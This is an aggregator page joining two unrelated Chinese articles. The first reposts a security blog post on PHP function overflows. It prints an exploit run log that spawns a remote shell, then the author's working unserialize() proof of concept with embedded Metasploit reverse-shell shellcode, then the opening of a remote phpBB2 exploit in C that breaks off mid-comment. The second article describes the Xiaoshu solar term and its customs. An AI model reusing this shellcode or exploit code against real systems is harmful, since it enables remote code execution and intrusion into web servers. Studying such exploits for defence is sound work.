下面小编为大家整理了科普下PHP函数溢出的东西(上),本文共2篇,欢迎阅读与借鉴!

篇1:科普下PHP函数溢出的东西(上)
大风起兮云飞扬
今天下午几乎所有群里都在讨论Stefan Esser抛出来的一个exp banner,
他将在明天的syscan大会上公布。
pastebin.com/mXGidCsd
$ ./exploit.py -h t.testsystem/
PHP xxx Remote Code Execution Exploit (TikiWiki Version)
Copyright (C) Stefan Esser/SektionEins GmbH
*** DO NOT DISTRIBUTE ***
[+] Connecting to determine wordsize
[+] Wordsize is 32 bit
[+] Connecting to determine PHP 5.2.x vs. PHP 5.3.x
[+] PHP version is 5.3.x
[+] Connecting to determine XXX version
[+] PHP version >= 5.3.2
[+] Determining endianess of system
[+] System is little endian
[+] Leaking address of std_object_handlers
[+] Found std_object_handlers address to be 0xb76e84a0
[+] Leaking std_object_handlers
[+] Retrieved std_object_handlers (0xb75b5c60, 0xb75b6230, 0xb75b2300, 0xb75b4c70, 0xb75b52f0, 0xb75b3fc0, 0xb75b42b0, 0xb75b4430, 0x00000000, 0x00000000, 0xb75b3c60, 0xb75b4a40, 0xb75b57a0, 0xb75b4170, 0xb75b27d0, 0xb75b4f00, 0x00000000, 0xb75b28a0, 0xb75b27a0, 0xb75b2af0, 0xb75b2830, 0xb75b46b0, 0x00000000, 0x00000000, 0xb75b2be0)
[+] Optimized to 0xb74008f0
[+] Scanning for executable header
[+] ELF header found at 0xb73ab000
[+] Retrieving and parsing ELF header
[+] Retrieving program headers
[+] Retrieving ELF string table
[+] Looking up ELF symbol: executor_globals
[+] Found executor_globals at 0xb76fe280
[+] Looking up ELF symbol: php_execute_script
[+] Found php_execute_script. at 0xb75386c0
[+] Looking up ELF symbol: zend_eval_string
[+] Found zend_eval_string at 0xb7586580
[+] Searching JMPBUF in executor_globals
[+] Found JMPBUF at 0xbfcc64b4
[+] Attempt to crack JMPBUF
[+] Determined stored EIP value 0xb753875a from pattern match
[+] Calculated XORER 0x68ab06ea
[+] Unmangled stored ESP is 0xbfcc5470
[+] Checking memory infront of JMPBUF for overwriting possibilities
[+] Found 0x28 at 0xbfcc6498 (0x3e4) using it as overwrite trampoline
[+] Returning into PHP... Spawning a shell at port 4444
...
$ nc t.testsystem 4444
Welcome to the PHPShell 5/22/2010 1:27 am
system(“uname -a”);
Linux fedora13x86 2.6.33.4-95.fc13.i686.PAE #1 SMP Thu May 13 05:38:26 UTC 2010 i686 i686 i386 GNU/Linux
system(“id”);
uid=48(apache) gid=484(apache) groups=484(apache) context=unconfined_u:system_r:httpd_t:s0
...
本来不好意思写这篇blog的,但是看到很多朋友吓得花容失色,以为又要出绝世0day了,所以科普一下。
其实PHP函数漏洞不是那么可怕。因为利用条件是苛刻的。它要求Web应用有使用到存在漏洞的函数,而且这个函数的输入能够被用户所控制。这样下来条件就比较多了。
其实还有其他条件,就是能够稳定利用,因为现代OS都是有很多防溢出的功能的,比如ASLR,DEP,NX等等,但是Stefan Esser 却能够很好的解决这个问题,他挖PHP挖的很深,稳定的利用“内存信息泄露”,来获取目标地址。
注意“内存信息泄露”不是“内存泄露”,后者只能让App挂掉,而“内存信息泄露”则是能够读出内存的地址,从而稳定的溢出利用。
所以,PHP漏洞 != Web Server漏洞
注意看我上面粗体标注的部分,说明这次这个漏洞,是在Tikiwiki中用到的一个函数,同时 Stefan Esser 还是利用了他一贯的内存地址信息泄露漏洞,来稳定利用这个漏洞。
同样的,PHP函数溢出也可以本地利用,可以用于绕过safemode。就是说,自己写个php文件丢到server上,request一次执行一下,触发漏洞利用函数,从而执行shellcode。 shellcode功能就很多了,执行任意命令、绑定端口、反连。
但是PHP是由Webserver执行的,所以也只有webserver权限。
因此,PHP函数漏洞,是需要找对应的Web App的,核心条件就是该函数的输入能够被用户控制。有经验的朋友,在明天过后可以开始去翻 googlecode 搜索了。
影响不大,绝世0day并没有出现。
这些都是tooooooold的东西了,两三年前Stefan Esser 就研究出来了并发在第一次 The Month of PHP Bugs 上,当年我还写了个phpbb的远程溢出exp,不过后来metasploit也写了,我也就一直没公开过这个exp,
我很久前就不搞溢出这些东西了,这次就贴在这里吧。可以看到comments里写的日期是3月份,3年多了,真是很old了,呵呵。
在此之前先贴个本地的POC,同一个漏洞
$shellcode =
“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.
“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.
“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.
“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.
“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.
“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.
// win32_reverse - EXITFUNC=thread LHOST=127.0.0.1 LPORT=1154 Size=287 Encoder=None metasploit.com; 端口用1154是因为这是 LISA 的ascii写法,哈哈
“xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45”.
“x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49”.
“x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d”.
“x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66”.
“x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61”.
“xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40”.
“x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32”.
“x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6”.
“x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09”.
“xf5xadx57xffxd6x53x53x53x53x43x53x43x53xffxd0x68”.
“x7fx00x00x01x66x68x04x82x66x53x89xe1x95x68xecxf9”.
“xaax60x57xffxd6x6ax10x51x55xffxd0x66x6ax64x66x68”.
“x63x6dx6ax50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3”.
“xaax95x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxab”.
“x68x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51”.
“x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xffxd6”.
“x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04xffxd6”.
“xffx77xfcxffxd0x68xefxcexe0x60x53xffxd6xffxd0”;
$hashtable = “xffx54x24x68x90”;
$hashtable .= str_repeat(“A”,34);
$hashtable[5*4+0]=chr(0x50);
$hashtable[5*4+1]=chr(0x20);
$hashtable[5*4+2]=chr(0x40);
$hashtable[5*4+3]=chr(0x00);
// php4.4.4 jmp ebx 0x00401820 ws2_32.dll 0x71b65fb0
$hashtable[8*4+0]=chr(0xb0);
$hashtable[8*4+1]=chr(0x5f);
$hashtable[8*4+2]=chr(0xb6);
$hashtable[8*4+3]=chr(0x71);
$str = a:100000:{s:8:“AAAABBBB”;a:3:{s:12:“0123456789AA”;a:1:{s:12:“AAAABBBBCCCC”;i:0;}s:12:“012345678AAA”;i:0;s:12:“012345678BAN”;i:0;};
for ($i=0; $i<65535; $i++) {
$str .= i:0;R:2;;
}
$payload = s:.strlen($shellcode).:“.$shellcode.”;;
$str .= s:39:“XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX”;s:39:“.$hashtable.”;i:0;R:3;.$payload;
unserialize($str);
?>
============================================================================
同一个漏洞的远程利用,因为PHPBB在程序里用到了,而且刚好能被用户远程触发!
/*
* PHP < 4.4.5 unserialize() ZVAL Reference remote exploits for PHPBB2 (Linux/x86)
*
* (不通用的版本)
* 编译方法(Linux): gcc -o xxx xxx.c -I/usr/kerberos/include -lssl -lcrypt -O3 -Wall -pipe
*
* 存在的问题:
*
* shellcode 在堆区域,有一些老的发行版本的Linux一般在0x08100000以上,新版本的Linux 堆地址不容易确定
* 使用jmp edi方法,不需要暴力猜测地址,但是需要调试各种Linux版本,而且有些新版本的Linux 堆栈都不可执行,并且lib的地址都随机了。
*
*
* 希望各位大侠能改出通用一点的exp,这个年头连Linux 栈溢出都不好利用啦!
*
* 更新历史:
* + 支持暴力猜测shellcode地址的模式
* + 支持用jmp edi后并且用一小段shellcode搜索堆内的shellcode并执
篇2:小暑科普小知识,小暑大暑,上蒸下煮
二十四节气之小暑:小暑大暑,上蒸下煮
每年的公历7月7日或8日,太阳运行到黄经105度时为小暑节气。2017年的小暑节气在7月7日的05:50:38。
小暑虽不是一年中最炎热的季节,但紧接着就是一年中最热的季节大暑,民间有“小暑大暑,上蒸下煮”之说。
《月令七十二候集解》也有记载说:“六月节……暑,热也,就热之中分为大小,月初为小,月中为大,今则热气犹小也。”其中,暑表示炎热,小暑还不热,大暑才叫热。
小暑三候
中国古代将“五天”称为“一候”,所以一个节气又被称为“三候”。
每个节气的“三候”结合当时的气候特征,和一些特殊现象又分别起了名字,用来简洁明了的表示当时的天气等特点。
一候:温风至。指小暑日后,大地上便不再有一丝凉风,而是所有的风中都带着热浪。
二候:蟋蟀居宇。五日后,由于炎热,蟋蟀离开了田野,到庭院的墙角下以避暑热。
三候:鹰始鸷。再过五日,老鹰因地面气温太高,而在清凉的高空中活动。
小暑习俗
1、“晒伏”
“六月六”相传这是龙宫晒龙袍的日子。因为这一天,差不多是在小暑的前夕,为一年中气温最高,日照时间最长,阳光辐射最强的日子,所以家家户户多会不约而同的选择这一天“晒伏”,就是把存放在箱柜里的衣服晾到外面接受阳光的暴晒,以去潮,去湿,防霉防蛀。
2、撂“百索子”
民间说“六月六”百索子撂上屋。“相传传天上的牛郎星和织女星被银河分割在两岸,一年中只有”七月初七”这一天可以相会。但在他们中间却横阻着一条银河,又没有渡船,怎么办呢?所以六月六这一天,天下的儿童多要将端午节戴在手上的“百索子”撂上屋让喜鹊衔去,在银河上架起一座象彩虹一样美丽的桥,以便牛郎和织女相会。
3、吃饺子
头伏吃饺子是传统习俗,伏日人们食欲不振,往往比常日消瘦,俗谓之苦夏,而饺子在传统习俗里正是开胃解馋的食物,山东有的地方吃生黄瓜和煮鸡蛋来治苦夏,入伏的早晨吃鸡蛋,不吃别的食物。
文档为doc格式